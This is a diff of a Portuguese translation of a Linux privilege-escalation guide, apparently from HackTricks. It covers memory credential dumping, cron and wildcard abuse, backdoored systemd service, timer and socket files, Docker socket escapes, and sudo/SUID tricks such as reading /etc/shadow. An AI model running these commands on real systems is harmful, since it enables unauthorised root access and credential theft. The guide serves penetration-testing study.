[**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) ### Credenciais da memória do processo @@ -280,14 +282,14 @@ Se você encontrar que o processo authenticator está em execução: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode fazer o dump do processo (veja as seções anteriores para encontrar diferentes maneiras de fazer o dump da memória de um processo) e procurar por credentials dentro da memória: +Você pode fazer dump do process (veja as seções anteriores para encontrar diferentes maneiras de fazer dump da memory de um process) e procurar por credentials dentro da memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **steal clear text credentials from memory** e de alguns **well known files**. Requer privilégios de root para funcionar corretamente. +A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **roubar credenciais em texto claro da memória** e de alguns **arquivos bem conhecidos**. Requer privilégios de root para funcionar corretamente. | Funcionalidade | Nome do Processo | | ------------------------------------------------- | -------------------- | @@ -312,22 +314,22 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tarefas agendadas/Cron jobs +## Tarefas agendadas / Cron jobs -Verifique se alguma tarefa agendada é vulnerável. Talvez você consiga aproveitar um script executado por root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). +Verifique se alguma tarefa agendada é vulnerável. Talvez você consiga tirar proveito de um script executado pelo root (wildcard vuln? pode modificar arquivos que o root usa? usar symlinks? criar arquivos específicos no diretório que o root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Caminho do Cron +### Caminho do cron Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) +(_Repare que o usuário "user" tem privilégios de escrita sobre /home/user_) -Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ -Então, você pode obter um root shell usando: +Se dentro desse crontab o usuário root tenta executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ +Então, você pode obter um shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -335,44 +337,43 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron usando um script com um wildcard (Wildcard Injection) -Se um script executado por root tiver um “**\***” dentro de um comando, você pode explorar isso para causar coisas inesperadas (como privesc). Exemplo: +Se um script executado pelo root tem um “**\***” dentro de um comando, você pode explorar isso para provocar comportamentos inesperados (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (mesmo** _**./\***_ **não é).** - -Leia a página a seguir para mais truques de exploração de wildcard: +**Se o curinga for precedido de um caminho como** _**/some/path/\***_ **, ele não é vulnerável (até mesmo** _**./\***_ **não é).** +Leia a página a seguir para mais truques de exploração de curingas: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Sobrescrita de script Cron e symlink +### Sobrescrita de script do cron e symlink -Se você **puder modificar um cron script** executado pelo root, você pode obter um shell muito facilmente: +Se você **puder modificar um script do cron** executado pelo root, você pode obter um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado por root usa um **diretório onde você tem acesso total**, talvez seja útil excluir essa pasta e **criar um symlink apontando para outra pasta** que sirva um script controlado por você +Se o script executado por root usa um **diretório onde você tem acesso total**, talvez seja útil apagar essa pasta e **criar um link simbólico para outra pasta** apontando para um script controlado por você ```bash ln -d -s ``` ### Cron jobs frequentes -Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar proveito disso e escalate privileges. +Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar vantagem disso e escalate privileges. -Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e apagar os comandos que foram executados mais vezes, você pode fazer: +Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e deletar os comandos que foram executados com mais frequência, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar todos os processos que iniciam). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isto irá monitorar e listar cada processo que iniciar). ### Cron jobs invisíveis -É possível criar um cronjob **inserindo um carriage return após um comentário** (sem newline character), e o cron job funcionará. Exemplo (observe o carriage return char): +É possível criar um cronjob **colocando um carriage return após um comentário** (sem caractere de nova linha), e o cronjob funcionará. Exemplo (observe o caractere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,32 +381,32 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode gravar qualquer arquivo `.service`, se puder, você **pode modificá-lo** de forma que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez seja necessário aguardar até que a máquina seja reiniciada).\ +Verifique se você pode escrever algum arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** -### Binários de serviços graváveis +### Binários de serviço graváveis -Tenha em mente que se você tem **permissões de escrita sobre binários executados por serviços**, você pode alterá-los para backdoors de modo que, quando os serviços forem reexecutados, os backdoors sejam executados. +Lembre-se de que se você tem **permissão de escrita sobre binários executados por serviços**, você pode substituí-los por backdoors, assim quando os serviços forem reexecutados os backdoors serão executados. -### systemd PATH - Caminhos relativos +### systemd PATH - Caminhos Relativos Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se você descobrir que pode **escrever** em qualquer uma das pastas do caminho, pode ser capaz de **escalate privileges**. Você precisa procurar por **caminhos relativos sendo usados em arquivos de configuração de serviços** como: +Se descobrir que pode **write** em qualquer uma das pastas do caminho, talvez consiga **escalate privileges**. Você precisa procurar por arquivos com **relative paths being used on service configurations**, como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Em seguida, crie um **executável** com o **mesmo nome do binário do caminho relativo** dentro da pasta PATH do systemd que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), sua **backdoor será executada** (usuários não privilegiados normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Então, crie um **executável** com o **mesmo nome que o binário do caminho relativo** dentro da pasta do PATH do systemd que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários não privilegiados normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** ## **Timers** -**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados assincronamente. +**Timers** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam `**.service**` files ou eventos. **Timers** podem ser usados como uma alternativa ao cron, já que possuem suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados assincronamente. Você pode enumerar todos os timers com: ```bash @@ -413,20 +414,22 @@ systemctl list-timers --all ``` ### Temporizadores graváveis -Se você puder modificar um temporizador, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma `.service` ou uma `.target`). +Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma `.service` ou uma `.target`). ```bash Unit=backdoor.service ``` -> A unidade a ativar quando este timer expira. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, este valor assume por padrão um service que tem o mesmo nome que a unidade timer, exceto pelo sufixo. (Ver acima.) Recomenda-se que o nome da unidade ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo. +Na documentação você pode ler o que a Unit é: -Portanto, para abusar desta permissão você precisaria: +> A unit a ser ativada quando esse timer expirar. O argumento é um nome de unit, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um service que tem o mesmo nome da unit do timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unit que é ativada e o nome da unit do timer sejam idênticos, exceto pelo sufixo. -- Encontrar alguma unidade systemd (como um `.service`) que esteja **executando um binário gravável** -- Encontrar alguma unidade systemd que esteja **executando um caminho relativo** e sobre a qual você tenha **privilégios de escrita** no **PATH do systemd** (para imitar esse executável) +Portanto, para abusar dessa permissão você precisaria: + +- Encontrar alguma unit do systemd (como uma `.service`) que está **executando um binário com permissões de escrita** +- Encontrar alguma unit do systemd que está **executando um caminho relativo** e sobre a qual você tem **privilégios de escrita** no **PATH do systemd** (para se passar por esse executável) **Saiba mais sobre timers com `man systemd.timer`.** -### **Habilitar Timer** +### **Ativando Timer** Para habilitar um timer você precisa de privilégios root e executar: ```bash @@ -437,32 +440,32 @@ Observe que o **timer** é **ativado** criando um symlink para ele em `/etc/syst ## Sockets -Unix Domain Sockets (UDS) permitem **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. +Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos client-server. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. Sockets podem ser configurados usando arquivos `.socket`. -**Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: +**Learn more about sockets with `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opções são diferentes, mas um resumo é usado para **indicar onde o socket irá escutar** (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta a escutar, etc.) -- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para datagram sockets e FIFOs, onde uma única unidade de serviço lida incondicionalmente com todo o tráfego de entrada. **Padrão: false**. Por motivos de desempenho, é recomendado escrever novos daemons apenas de maneira compatível com `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** dos **sockets**/FIFOs de escuta serem **criados** e ligados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido dos argumentos para o processo. -- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** dos **sockets**/FIFOs de escuta serem **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da unidade **service** **a ativar** em caso de **tráfego de entrada**. Esta opção só é permitida para sockets com Accept=no. Por padrão, aponta para o serviço que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas servem de resumo para **indicar onde vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou o número da porta a escutar, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é criada para cada conexão entrante** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade service iniciada**, e apenas uma unidade service é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs onde uma única unidade service lida incondicionalmente com todo o tráfego entrante. **Defaults to false**. Por motivos de performance, é recomendado escrever novos daemons apenas de forma compatível com `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Recebem uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido dos argumentos para o processo. +- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. +- `Service`: Especifica o nome da unidade **service** **a ser ativada** no **tráfego entrante**. Essa opção só é permitida para sockets com Accept=no. Por padrão aponta para o service que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção. ### Writable .socket files -Se encontrar um arquivo `.socket` **escritível**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ -_Observe que o sistema deve estar usando essa configuração de arquivo `.socket` ou o backdoor não será executado_ +Se você encontrar um arquivo `.socket` **gravável** você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Se você **identificar qualquer socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e possivelmente explorar uma vulnerabilidade. +Se você **identificar algum socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. ### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Conexão raw +### Conexão Raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -471,7 +474,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Exemplo de exploração:** {{#ref}} @@ -480,48 +483,48 @@ socket-command-injection.md ### HTTP sockets -Observe que pode haver alguns **sockets listening for HTTP** requisições (_Não estou me referindo aos .socket files mas aos arquivos que atuam como unix sockets_). Você pode verificar isso com: +Observe que podem existir alguns **sockets ouvindo requisições HTTP** (_não estou falando sobre .socket files mas sobre os arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responder a uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **exploit some vulnerability**. +Se o socket **responder a uma requisição HTTP**, então você pode **se comunicar** com ele e talvez **explorar alguma vulnerabilidade**. -### Docker Socket Gravável +### Docker socket gravável -O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Aqui está um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. +O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Aqui está um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. #### **Privilege Escalation with Docker CLI** -Se você tem acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos: +Se você tiver acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Esses comandos permitem executar um container com acesso de root ao sistema de arquivos do host. +These commands allow you to run a container with root-level access to the host's file system. #### **Using Docker API Directly** -Em casos onde o Docker CLI não está disponível, o Docker socket ainda pode ser manipulado usando o Docker API e comandos `curl`. +In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. -1. **List Docker Images:** Recupere a lista de imagens disponíveis. +1. **List Docker Images:** Retrieve the list of available images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envie uma requisição para criar um container que monte o diretório raiz do sistema host. +2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Inicie o container recém-criado: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` para estabelecer uma conexão com o container, permitindo a execução de comandos dentro dele. +3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -531,11 +534,11 @@ Connection: Upgrade Upgrade: tcp ``` -Após configurar a conexão `socat`, você pode executar comandos diretamente no container com acesso de root ao sistema de arquivos do host. +After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. ### Others -Observe que, se você tiver permissões de escrita sobre o docker socket porque está **dentro do grupo `docker`**, você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Check **more ways to break out from docker or abuse it to escalate privileges** in: @@ -546,7 +549,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -555,7 +558,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -564,15 +567,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado **inter-Process Communication (IPC) system** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece um framework robusto para diferentes formas de comunicação entre aplicações. +D-Bus é um sofisticado **sistema de comunicação entre processos (IPC)** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece um framework robusto para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscente de **enhanced UNIX domain sockets**. Além disso, auxilia na transmissão de eventos ou sinais, fomentando integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, racionalizando processos que antes eram complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, de forma semelhante a **enhanced UNIX domain sockets**. Além disso, auxilia na emissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um reprodutor de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicações, racionalizando processos que tradicionalmente eram complexos. -D-Bus opera em um **allow/deny model**, gerenciando permissões de mensagens (chamadas de método, emissão de sinais, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, potencialmente permitindo escalonamento de privilégios através da exploração dessas permissões. +D-Bus opera em um **modelo allow/deny**, gerenciando permissões de mensagens (chamadas de método, emissão de sinais, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, podendo permitir escalada de privilégios através da exploração dessas permissões. -Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root para possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. +Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas no contexto "default" se aplicam a todos que não são cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado se aplicam de forma universal, enquanto políticas de contexto "default" se aplicam a todos que não são cobertos por outras políticas específicas. ```xml @@ -581,7 +584,7 @@ Políticas sem um usuário ou grupo especificado se aplicam universalmente, enqu ``` -**Aprenda como enumerar e explorar uma comunicação D-Bus aqui:** +**Aprenda como enumerate e exploit uma comunicação D-Bus aqui:** {{#ref}} @@ -590,9 +593,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rede** -É sempre interessante enumerar a rede e descobrir a posição da máquina. +É sempre interessante enumerate a rede e descobrir a posição da máquina. -### Enumeração genérica +### Genérica enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -615,7 +618,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Portas abertas +### Open ports Sempre verifique os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: ```bash @@ -624,7 +627,7 @@ Sempre verifique os serviços de rede em execução na máquina com os quais voc ``` ### Sniffing -Verifique se você consegue sniff traffic. Se conseguir, poderá capturar algumas credenciais. +Verifique se você consegue sniff traffic. Se conseguir, pode ser possível capturar algumas credentials. ``` timeout 1 tcpdump ``` @@ -632,7 +635,7 @@ timeout 1 tcpdump ### Enumeração Genérica -Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem **login** e quais têm **root privileges:** +Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem **fazer login** e quais têm **privilégios de root**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -654,14 +657,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### UID grande +### Big UID -Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploitar** usando: **`systemd-run -t /bin/bash`** +Algumas versões do Linux foram afetadas por um bug que permite a usuários com **UID > INT_MAX** elevar privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Explorar usando: **`systemd-run -t /bin/bash`** ### Grupos -Verifique se você é **membro de algum grupo** que poderia conceder privilégios de root: +Verifique se você é **membro de algum grupo** que possa conceder privilégios root: {{#ref}} @@ -687,22 +690,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Senhas conhecidas -Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuário** usando essa senha. +Se você **souber qualquer senha** do ambiente, **tente fazer login como cada usuário** usando a senha. ### Su Brute -Se você não se importa em gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-forcear usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Se você não se importar em gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-forcear usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-forcear usuários. -## Abusos do $PATH gravável +## Abusos no PATH gravável ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios **criando uma backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta localizada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever em alguma pasta do $PATH** pode ser capaz de escalar privilégios **criando uma backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não seja carregado a partir de uma pasta que esteja antes** da sua pasta gravável no $PATH. ### SUDO and SUID -Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o suid bit. Verifique isso usando: +Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique isso usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -724,7 +727,7 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo, o usuário `demo` pode executar `vim` como `root`; agora é trivial obter um shell adicionando uma ssh key ao diretório `root` ou executando `sh`. +Neste exemplo o usuário `demo` pode executar `vim` como `root`, agora é trivial obter um shell adicionando uma chave ssh no diretório root ou chamando `sh`. ``` sudo vim -c '!sh' ``` @@ -736,13 +739,13 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **baseado na máquina HTB Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: +Este exemplo, **baseado na HTB machine Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: contornando caminhos de execução +### Sudo contornando caminhos de execução -**Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Pule** para ler outros arquivos ou use **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -752,50 +755,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se um **wildcard** é usado (\*), é ainda mais fácil: +Se um **wildcard** for usado (\*), é ainda mais fácil: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Comando Sudo/Binário SUID sem caminho do comando +### Comando sudo/Binário SUID sem caminho do comando -Se a **permissão sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_, você pode explorá-la alterando a variável PATH +Se a **permissão sudo** for concedida a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**. +Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**). [Payload examples to execute.](payloads-to-execute.md) ### Binário SUID com caminho do comando -Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. +Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **export a function** nomeada como o comando que o arquivo suid está chamando. -Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la: +Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você tem que 